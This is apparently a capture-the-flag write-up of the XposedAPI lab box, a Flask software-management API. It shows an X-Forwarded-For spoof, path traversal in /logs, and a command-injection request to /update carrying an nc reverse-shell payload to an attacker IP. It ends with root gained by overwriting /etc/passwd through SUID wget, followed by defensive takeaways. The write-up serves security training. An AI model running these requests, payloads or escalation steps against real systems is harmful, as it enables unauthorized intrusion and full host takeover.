Overview
XposedAPI is a Linux box centered on a Flask-based "Remote Software Management API" that is intentionally misconfigured, it warns users it should not be externally accessible, and then proceeds to demonstrate why. The chain runs: WAF bypass via X-Forwarded-For header, path traversal through the /logs endpoint to read source code, command injection in the /update endpoint's URL parameter, and finally a SUID wget binary used to overwrite /etc/passwd and add a root-level user.
Recon
The Nmap notes for this box were empty; the host and port are inferred from the HTTP notes. The application ran on port 13337.
Application Discovery
The root endpoint of the API served a self-documenting usage page:
Remote Software Management API
Attention! This utility should not be exposed to external network.
/ GET Returns this page.
/version GET Returns app version.
/update POST Updates app using a linux executable. {"user":"<user>","url":"<url>"}
/logs GET Read log files.
/restart GET Restart the app.
/version returned 1.0.0b8f887f.... Visiting /logs returned:
WAF: Access Denied for this Host.
Foothold
WAF Bypass with X-Forwarded-For
The application checks whether the request originates from localhost before serving the /logs endpoint. Adding X-Forwarded-For: 127.0.0.1 to the request tricked the WAF into treating the external request as local:
GET /logs HTTP/1.1
Host: 192.168.176.134:13337
X-Forwarded-For: 127.0.0.1
Response changed from 403 to 404:
Error! No file specified. Use file=/path/to/log/file to access log files.
Why
X-Forwarded-Forbypasses application-level IP checks: reverse proxies use this header to pass the original client IP to the backend. When an application trusts this header without verifying it came from a known proxy, any client can forge it. Checking for127.0.0.1inX-Forwarded-Forand assuming that means "localhost request" is a common mistake, the header is entirely attacker-controlled.
Path Traversal to Read Source Code
With the WAF bypassed, the file= parameter accepted traversal sequences:
GET /logs?file=../../../etc/passwd HTTP/1.1
X-Forwarded-For: 127.0.0.1
/etc/passwd returned cleanly, revealing the only non-service user:
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
Reading the application source at /logs?file=../../../main.py exposed the vulnerable code in the /update endpoint:
os.system("curl {} -o /home/clumsyadmin/app".format(data['url']))
The url parameter is passed unsanitized into os.system via string formatting.
Command Injection via /update
With the WAF bypassed using the same header, I sent a POST to /update with a semicolon-separated command appended to the URL value:
POST /update HTTP/1.1
Host: 192.168.176.134:13337
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{
"user":"clumsyadmin",
"url":"http://192.168.45.244/test;nc 192.168.45.244 53 -e /bin/bash"
}
The server fetched http://192.168.45.244/test (returning 404) and then executed the nc command:
rlwrap nc -lvnp 53
connect to [192.168.45.244] from (UNKNOWN) [192.168.176.134] 41834
whoami
clumsyadmin
How semicolon injection works in
os.system: the shell interprets;as a command separator.curl http://host/test;nc ...runscurlfirst, thennc, regardless of whethercurlsucceeds. Python'sos.systempasses the entire string to/bin/sh -c, which processes the separator normally. Usingsubprocesswith a list of arguments would have prevented this; string formatting intoos.systemnever does.
Privilege Escalation
SUID wget to Overwrite /etc/passwd
SUID enumeration:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 466496 Apr 5 2019 /usr/bin/wget
wget with SUID root can write to any file on the filesystem, including /etc/passwd. I:
- Generated a password hash on Kali:
openssl passwd -1 -salt user3 ‹redacted›
$1$user3$rAGRVf5p2jYTqtqOW5cPu/
- Copied the target's
/etc/passwdcontent and appended a new root-equivalent line:
user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root/root:/bin/bash
- Served the modified file and used SUID
wgetto overwrite/etc/passwd:
wget -O /etc/passwd http://192.168.45.244/passwd
- Switched to the new user:
clumsyadmin@xposedapi:/$ su user3
Password: ‹redacted›
# whoami
root
Why SUID wget writes as root: the SUID bit causes the OS to run the binary with the file owner's effective UID (root here) regardless of who calls it.
wget -O /etc/passwdis simply a file write, and as root, no file is off-limits. Overwriting/etc/passwdwith a custom entry that has UID 0 creates a new root-equivalent account the attacker controls.
Root
# cat /root/proof.txt
‹redacted›
Note: the proof.txt content block in the source notes was empty, the flag was captured but not recorded.
Takeaways
- Trust headers only from known proxies.
X-Forwarded-Foris attacker-controlled; using it to determine whether a request is "local" defeats the access control entirely. os.systemwith string formatting is always injectable. The semicolon separator is the oldest trick in shell injection. Usesubprocesswith argument lists.- SUID
wgetis a direct/etc/passwdoverwrite primitive. GTFOBins documents this; any SUID file-writing binary can create arbitrary root-equivalent accounts.